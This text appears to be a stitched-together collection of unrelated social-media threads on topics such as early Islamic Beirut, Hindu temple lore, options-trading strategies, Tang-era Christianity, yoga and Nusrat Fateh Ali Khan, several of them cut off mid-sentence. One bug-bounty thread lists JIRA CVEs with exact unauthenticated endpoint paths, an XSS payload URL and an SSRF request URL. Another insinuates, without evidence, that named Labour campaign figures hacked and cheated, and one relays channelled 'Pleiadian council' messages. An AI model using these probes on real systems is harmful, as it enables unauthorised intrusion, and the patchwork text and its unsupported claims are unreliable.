1 So, today we turn to early Islamic Beirut. what do we know of the earliest times of #Beirut under early Islamic rule, starting with the #conquest. How and when did Beirut enter the emerging Muslim empire? -rm

2 Let’s start with traditional sources for the early Islamic period. Of those, only al-Balādhurī (d. ca. 892), the Abbasid scholar, is informative. Other Muslim and non-Muslim sources including al-Ṭabarī's Tārīkh are silent on the matter.-rm

3 In his small tome, Futūḥ al-Buldān, al-Balādhurī tells his readers: “After the conquest of Damascus, Yazīd came to Sidon, ʿArqa, Byblos, and Beirut which lie on the sea coast with his brother Muʿāwiya leading the van of the army.”-rm

4 Hence, the men who conquered Beirut were Yazīd b. Abī Sufyān (d. 639) and his half-brother and future caliph Mu‘āwiya (r. 661-680). The date of the conquest of the coast falls between 636 and 639 at the latest, the date of the death of Yazīd in the plague of Emmaus. -rm

5 Yazīd and the Muslim army likely took the coastal road to Beirut, a path taken by numerous armies before. They would have either swung from Damascus to Baalbek through the Hims gap to ‘Arqa, then Byblos, crossed the Dog River, and arrived at the eastern side of Beirut.

Academic staff at universities can't be open about the complaints against them - and most complaints of transphobia from students seem to be directed at staff. I'm just a final year PhD student, under no contractual requirement to be confidential, so I can share.

The original complaint against me was typical of the sort of thing directed at many female professional academics (and some male too). The strategies employed by my complainants are commonly used.

One of these is to perform vulnerability while behaving aggressively. Performing vulnerability is essential in order to trigger the university's awareness of its duties under the Equality Act, and establish an oppressor/victim dynamic to the case from the outset.

My complainants did this effectively. The complaint was initiated by a fellow PhD student, who joined forces with the SU. A student from the SU wrote the actual complaint. This is how it begins:

In all my dealings with @HuddersfieldUni I accepted that sometimes anonymous complaints were necessary - and that, sometimes, victimisation could be a concern. However, I have never victimised anyone. Nobody has ever argued that I have.

#SaketriShivaTemple
This Shiva temple is located app 5 km from d Mansa Devi temple of Panchkula.
Situated in d village of Saketri, in Nepli reserve forest in Panchkula,is an ancient religious site which is believed to have been in existence since d time of d Pandavas.
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D area has a total of seven temples dedicated to various Gods & Goddesses, Lord Shiva being d presiding deity.

A temple of 9 devi is adjacent to d shiva temple inside d temple premises.

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There are two Shivling in this temple. As per location, it is believed that one Shivling falls at Panchkula & d other falls in Chandigarh side.
D temple has a cave under d Shivling. Milk is put here for d snakes, which r considered to be another form of Prabhu Mahadev.

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According to d local people, yrs ago many have seen Naag Devta drinking milk over there. ( I personally vouch for this as during my college days used to visit this place, when it was a simple & small temple)
Its a very old mandir & have been renovated over d yrs.

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D temple is surrounded with d most scenic atmosphere & is a great place to get ur peace of mind.
On d festival of Mahashivratri, d Temple attracts worshippers from far flung places,who come to perform Puja & Archana in d area.
📷Inspirock & RVA temples
Source:Various articles

Listing out various VARIANTS of #920 #straddles .
1. Plain vanilla Variant
Enter straddle at 9.20 with sl on each leg and square-off at 3.15

1/n

2. Time Variant
Enter at different time instead of 920 like 930, 945 , 100 letting market to settle down

2/n

3. Tripple Stradlle Variant
Enter atm , atm+strike, atm-strike at 920

4. Rolling Variant
Enter at 920, roll the strike as the market moves
4/n

5. Pyramid Variant
Add more quantity once the trade is in your favour

5/n

Alex Barros-Curtis run both Smith’s campaign in 2016 and Starmer's in 2020. He is Keir's new ultimate enforcer but who hacked, data scrapped and purged? Is Keir's position as LOTO truly legitimate?. Did he cheat?. Thread. #StarmerOut #LabourLeaks

Novara Media revealed that a leading figure in Kier Starmer's campaign had extensive links to Owen Smith's leadership bid in 2016. When asked if others from the Smith campaign were also involved in Starmer’s leadership Keir's office did not respond #LabourLeaks #Pfizer #Pharma

Keir had a campaign website, the controller for this DATA, according to the site itself, is a company called Movement for Another Future Limited. Alexandre Samuel Barros-Curtis is the sole director of Movement for Another Future Limited. Alex controls the DATA. #LabourLeaks

According to his LinkedIn profile, Barros-Curtis’s day job is as a consultant solicitor “Providing specialised legal advice in the area of derivatives and structured finance” in particular “Hedging, project financings, securitisations, credit derivatives” #LabourLeaks #HedgeFund

He has worked extensively on derivatives and structured finance matters in Europe and Hong Kong; as well as formerly working for the Clinton Foundation. Asked to comment on Mr Barros-Curtis and his role in the party Labour said they do not discuss staffing issues. #LabourLeaks

HOW KRISHNA LEFT EARTH:BHALKA TEERTH

It was the end of Mahabharata war. The loss of all her sons filled Gandhari, mother of Kauravas, with grief and anger.
She chided Krishna n cursed him, “36 years from today, you will die. Dwaraka will be flooded. Yadava clan will end”

Time passed. Once, Rishi Durvasa visited Krishna and as per his wish, Krishna applied Payasam (rice kheer) on his body. As his legs were resting on the ground, he could not apply it to his feet. Durvasa said, “You have not applied Payasam to my foot. Your death is in your foot.”

36 years later, Krishna lay down under a tree and went into Yoga Samadhi. A hunter Jara while hunting, misunderstood the moving foot of Krishna as a hidden deer and shot a lethal arrow that pierced into Krishna’s feet.
@iamkamyabuch @BahuRaani

Krishna told the grieving Jara that in his previous birth, Jara was Bali (brother of Sugreev). Rama had killed Bali from behind and in this birth, the same fate was met by Prabhu himself.
This is how Prabhu showed that the law of karma remains the same for all.

Bhalka Tirtha Veraval (भालका तीर्थ) which is about 4 kilometers from the Somnath Mandir is believed to be the place where Krishna gave up his mortal body and ascended to Baikunth. The name Bhalka is said to be derived from the word Bhal which means arrow.
@desi_thug1

कौरव और पांडवों के बीच जब राज्य बंटवारे को लेकर कलह चली, तो मामा शकुनि की अनुशंसा पर धृतराष्ट्र ने खांडवप्रस्थ नामक एक जंगल को देकर पांडवों को कुछ समय तक के लिए शांत कर दिया था। इस जंगल में एक महल था जो खंडहर हो चुका था। पांडवों के समक्ष अब उस जंगल को एक नगर बनाने की चुनौती थी।

खंडहर महल के चारों तरफ भयानक जंगल था। यमुना नदी के किनारे एक बीहड़ वन था जिसका नाम खांडव वन था। पहले इस जंगल में एक नगर हुआ करता था,फिर वह नगर नष्ट हो गया और उसके खंडहर ही बचे थे।खंडहरों के आसपास वहां जंगल निर्मित हो गया था।यहां इंद्रप्रस्थ नगर बसाने के लिए इस जंगल में...

...अर्जुन और श्रीकृष्ण ने आग लगा दी थी।
खांडववन में अग्नि धधकने लगी और उसकी ऊंची ऊंची लपटे आकाश तक पहुंच गई।खांडववन को अग्नि 15 दिन तक जलाती रही।इस अग्निकाण्ड में केवल छह प्राणी ही बच पाते हैं।अश्‍वसेन सर्प, मयदानव(मयासुर)और चार शार्ड्ग पक्षी। आओ जानते हैं कि अश्वसेन सर्प कौन था।

अश्वसेन तक्षक नाग का पुत्र था। खांडववन जल रहा था तब उसकी माता ने उसे अपने मुंह में निगल लिया और वहां से भाग गई।परंतु असहनीय गर्मी के कारण वह बच न सकी। लेकिन अपनी जान दे कर भी वह नागिन अपने मुंह में छुपाए अपने बच्चे को जीवन-दान दे गयी।

अश्वसेन की माता तो मार गयी परंतु अश्वसेन बच गया। उसे अपनी माँ की इस प्रकार मृत्यु का बड़ा दुख हुआ और वो प्रतिशोध की अग्नि में जलने लगा।तत्पश्चात उसका एक ही लक्ष्य था की जिस अर्जुन ने खांडव वन में आग लगाकर उसकी माता के प्राण लिए, वह किस प्रकार उसके प्राण ले।

How do you explain the Trinity in Chinese? If you're a Christian in Tang China, there's a few ways!

I'm @ChenHuailun, back for my last #Twittistorian thread, this time on translating the names of God in Chinese Christian documents. ~ahc #jingjiao 1/

There are two main writers/translators credited in the extant documents of the Christian (called 'Jingjiao' 景教 in Chinese) corpus of Tang China: Aluoben and Jingjing. ~ahc #jingjiao /2

Aluoben (阿蘿本) was said to have been the Persian missionary responsible for bringing Christianity to China, arriving in Chang'an in 635 and building a church there with 21 monks. ~ahc #jingjiao /3

'Observing the azure clouds, he [Aluoben] bore the true sacred books; beholding the direction of the winds, he braved difficulties and dangers.' - Xi'an stele ~ahc #jingjiao /4

Let's pause on this name, Aluoben (阿蘿本). Some translate it as 'Olopen.' Is it a Syriac name, perhaps a rendering of Yahballaha or Abraham? Or perhaps a Middle Persian name Anōš-ruwān (meaning immortal soul)? ~ahc #jingjiao /5

Here comes the 3rd and final part of the long weekend 'Beginners' Pathway" series.

In this we'll see Open Interest basics and Option Chain Analysis.

There are two types of Options, Call Option & Put Option.

This graphics show when to buy and when to sell options.

The first thing that we need to know is the moneyness i.e. whether an Option is At the money (ATM), In the money (ITM) or Out of the Money (OTM).

The strike closest to the market price is At The Money.

I have tried to explain OTM & ITM in a very simplistic & easy manner.

Option chain of Nifty can be seen here

Hasta Uttanasana, the standing forward bend position, is a component of the Sun Salutation series of asanas. It appears because of the 2nd pose and the 11th pose within the Sun Salutation or Surya Namaskara. It particular is employed in yoga practice to warm up and strengthen

the spine. Further, to open up the chest and heart to permit for deep, full breaths. Procedure of Hasta Uttanasana:
• Stand erect and lift both hands above the top.
• Let there be shoulders length between the arms.
• Bend the trunk and head backward to make a slight curve.

• Raising the arms and bending the torso back is finished at a similar time.
• take a breath deep while raising the arms.
• When done as a part of the Surya Namaskara (Sun Salutation exercises), you will chant a mantra while performing this asana.

• Hasta Uttanasana is encountered as the 2nd pose and also the 11th pose. The mantra to be chanted, given below:
During the 2nd posture, carry on chanting “Om Ravaye Namaha.” It means salutations to the shining one.
During 11th pose chant “Om Arkaya Namaha”.

It means salutation to the one who deserves praise.
There are many benefits of Hasta Uttanasana

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#Learn365 Day-4: Unauthenticated & Exploitable JIRA Vulnerabilities

There are multiple security vulnerabilities associated with the various versions of JIRA software which are exploited in wild and is one of my personal favourite 3rd Party apps to hunt.

#BugBountyTips

(1/n)

(2/n)
1. CVE-2020-14179 (Information Disclosure)
a. Navigate to /secure/QueryComponent!Default.jspa
b. It leaks information about custom fields, custom SLA, etc.

2. CVE-2020-14181 (User Enumeration)
a. Navigate to /secure/ViewUserHover.jspa?username=

(3/n)
3. CVE-2020-14178 (Project Key Enumeration)
a. Navigate to /browse.
b. Observe the error message on valid vs. invalid project key. Apart from the Enumeration, you can often get unauthenticated access to the project if the protections are not in place.

(4/n)
4. CVE-2019-3402 (XSS)
a. Navigate to /secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search

5. CVE-2019-11581 (SSTI)
a. Navigate to /secure/ContactAdministrators!default.jspa

(5/n)
6. CVE-2019-3396 (Path Traversal)
7. CVE-2019-8451 (SSRF)
a. Navigate to /plugins/servlet/gadgets/makeRequest?url=https://:[email protected]
8. CVE-2019-8451 (SSRF)
a. Navigate to

🌺क्या आपको पता है रानी कमलापति के बारे में?🌺

भोपाल में बने भारत के सबसे हाईटेक रेलवे स्टेशन का नाम रानी कमलापति रेलवे स्टेशन हो गया है, पहले इसका नाम हबीबगंज रेलवे स्टेशन हुआ करता था। आज यह रेलवे स्टेशन किसी इंटरनेशनल एयरपोर्ट को भी मात देता है।

लेकिन हम स्टेशन की भव्यता की नहीं बल्कि उसकी दिव्यता की बात करेंगे, और दिव्यता इस रेल्वे स्टेशन के नाम में है।
जब भोपाल के इस स्टेशन का नाम रानी कमलापति के नाम पर रखे जाने का समाचार लोगों ने सुना तो शेष भारत तो छोड़िये, मध्यप्रदेश भी जाने दीजिये,

भोपाल के नागरिकों तक को भी आश्चर्य हुआ कि ये रानी कमलापति कौन थी? भोपाल को तो नवाबों ने बसाया है, भोपाल में किसी हिन्दू राजा का नाम अगर सुना वो राजा भोज का सुना, तो फिर ये रानी कमलापति कहां से आ गई ?

ये रानी कमलापति हैं कौन?,अगर आपके मन में भी ये सवाल उठा हो,तो समझिये पिछले एक शतक के षड्यंत्र के परिणाम आंशिकरूप से आपके मस्तिष्क पर भी हुए हैं।वे हमें हमारी जड़ों से काटना चाहते थे और कुछ भी कहो वे कुछ हद सफल तो हुए हैं।खैर,रानी कमलापति को मध्यप्रदेश की पद्मावती भी कह सकते हैं।

जैसे पद्मावती ने अपने सम्मान की रक्षा के लिए जौहर किया था, ठीक वैसे ही रानी कमलापति ने भी जलसमाधि ली थी। सोलहवीं सदी में समूचे भोपाल क्षेत्र पर हिन्दू गोंड राजाओं का ही शासन था। कमलापति गोंड राजा निजामशाह की पत्नी थीं।भोपाल के पास गिन्नौरगढ़ से राज्य का संचालन होता था।

Remembering the only 5-star general of IAF - Marshal of the 🇮🇳Air Force (MIAF) Arjan Singh on his birth anniversary 🙏

Born on April 15, 1919, in Lyallpur, Punjab, MIAF Arjan Singh was the only Indian Air Force (IAF) officer to be promoted to 5-star rank

On 15 Aug 1947, he had the unique honour of leading the flypast of over a hundred IAF aircraft over the Red Fort.

Over the years, he was promoted to Wing Commander, Air Commodore and Air Vice Marshal. During this time, Arjan Singh displayed great commitment in his work.

Arjan Singh’s crucial testing time came in 1965 when the Indian subcontinent was plunged into war.

When Pakistan declared the launch of Operation Grand Slam, Arjan Singh was called into the Defense Minister’s office, where he was requested to provide air support.

He promised the Defense Minister that he would get the forces ready in an hour and true to his word, he attacked the Pakistani forces in an hour.

Arjan Singh thwarted Ayub Khan’s plans to capture Kashmir by leading the Air Force with great valor and confidence.

In fact, Arjan Singh became the first Air Chief Marshal of the IAF. In 2002, Arjan Singh was awarded the rank of the Marshal of the Air Force by the Indian government, making him the first and the only five-star rank officer in the Indian Air Force.

Today in pulp I look back at the world of Soviet women's fashion!

It's not all berets, but it mostly is...

Now you may think that fashion and the Soviet Union go together like Groucho Marx and Friedrich Engels. However that is to misunderstand the nature of the Commad Economy: if she commands it, you'd better buy it for her!

So there is a rich history of fashion and fun (along with the tractor factories and endless ballet performances) in the old USSR. Let's take a sashay along it...

At the start of the Soviet years women's fashion, let's face it, tended towards the functional. Red was popular, as were headscarves, hobnail boots and the ability to field strip a 3-line rifle.

But all that was about to change...

...because Russia had a new fashionista in charge: Stalin! He hated the peasant look of War Communism because it made socialism seem synonymous with poverty. He ordered Soviet Woman to spruce herself up.

Amongst my absolute favourite musicians of all time, one name that is certainly near the top is of Ustad Nusrat Fateh Ali Khan sahab. I don’t know if any such data exists, but I am pretty sure he would also be among the most widely sold international artists in India. (1/43)

This is a thread about Nusrat sahab’s connections with India - his first performance here, songs blatantly copied from his compositions, his non-film albums done here, and also his work in Bollywood. So buckle up, coz this is gonna be very very loooong. (2/43)

The story starts in 1979, when a certain legend by the name of Raj Kapoor was invited to a Qawwali show in Birmingham, and heard Nusrat sahab performing there. So impressed by his music was Kapoor sahab, that he made up his mind to invite Nusrat sahab to India. (3/43)

Soon after, in early 1980, Rishi Kapoor was getting married to Neetu Singh, and Raj Kapoor promptly invited Nusrat sahab to perform at one of the sangeet ceremonies. The invitation actually was sent through Pakistani actor Mohammad Ali, a mutual contact of the two. (4/43)

Nusrat sahab accepted the invite, and was apparently excited with the prospect of also visiting Ajmer Sharif. His performance at the sangeet was attended by the who’s who of Indian film and music at the time, and he is said to have performed for hours through the night. (5/43)

Asara Adams

ENERGY UPDATE BY THE PLEIADIAN-SIRIAN – ARCTURIAN COUNCIL OF LIGHT ~ November 22, 2020

“We are Here NOW.

We LOVE you.

We are you, from your future, to assist you on your path.

As you are moving through your Ascension, your four body system is being completely restructured.
Your Higher SELF is orchestrating and managing many energy downloads and integrations of High vibrational LIGHT CODES into your Physical, Mental, Emotional and Etheric bodies.

You might notice that your Physical, Mental and Emotional response to your experiences is different Now.
You are Evolving into a NEW HUman.

Now, any response that is less than LOVE feels very uncomfortable for many of you.

Now, observing anything that is less than LOVE feels very uncomfortable for many of you.
When this happens you have the opportunity to make different choices to align your SELF with the HIGHER vibrational experience.

Sometimes, this involves making changes in your life.

When Humans resist the impulse to make these changes and align with LOVE, one or more of the four lower body systems will nudge you towards alignment.

That’s when things are less in the flow in different areas of your life…

#Thread
1. #Margabandeeswar #Temple - located at #Virinchipuram, #Vellore dist. #TamilNadu
Sthala Vruksham: Palm Tree
Theertham: Simha, Sooli & Brahma Theertham
This is 1300 years old temple – the oldest & biggest #temple of #Vellore dist. @sattology
@harshasherni @Itishree001

2. #Sattology about this Temple: A 110 feet high, 7 stage, east facing RajaGopuram is the one that welcomes us first. Sri Adi Shankaracharya had done Beejakshara Pradhishta to Simha theertham. This temple is also known as ‘Baskara Kshetram’
@Tanvangi17 @almightykarthik

3. because Surya Bhagwan is said to worship Linga when its rays fall on it in the month of Panguni (March-April); The name of the place as Virinchipuram came from #Sattology that the #Temple was worshiped by Brahma, i.e., Virinchi; The #theertha of this Temple @onlyaravindh

4. is said to be produced by Gowri devi & so, this place is also known as #Gowripuram; #Vishnupuram & #Margabandheeswaram are also the other names of the place. This is the birth place of Sri Appayya Dikshithar (1520-1593), the greatest interpreter of
@pujari_anup @Nidhi7007

5. Advaitha Sidhantha after Adhi Sankara. His Margabandhu stotram on this Margabandheeswarar is for the protection of people while on journey. By reciting this one can have Mahadev with them as Marga-bandhu (protector during journey) along their journey. @Vaidyvoice @desi_thug1

"'How do I know I'm saved' is perhaps the central question of Christian life. Each tradition & sect finds different answers.

Most end up engaging in some flavor of works righteousness. For someone it is straight-up synergism. For others, it's the more subtle "fruit checking." /1

Overthinking - The art of creating problems which weren't even there.

Thread on How Over-analysis leads to decision Paralysis-

What is Analysis paralysis?

In simple terms, analysis paralysis is a person's tendency to over-analyze or over-think upon a decision to such an extent that he/she fails to make a choice resulting in a paralyzed state of inaction.

How a retail trader trades-

A trader named Rahul, He know all the basics of markets, He also has made a system which gives signals on nifty, he has also encorporated good Risk management and Position sizing into his system.

One day he gets a signal to buy Nifty at 13500 with stop at 13450, he wanted to take the trade, but he wanted to get sure that the trade he has take should be a winner.

So he says just let me check the RSI if its above this level I will buy , he checks it and it was above his

level, then again he wants to check another indicator named MACD, he wanted to get sure man, Now he do the most intelligent thing to get sure he gets right.

He goes to twitter and ask his twitter Friend Trader knight he ask him that should I buy nifty at 13500,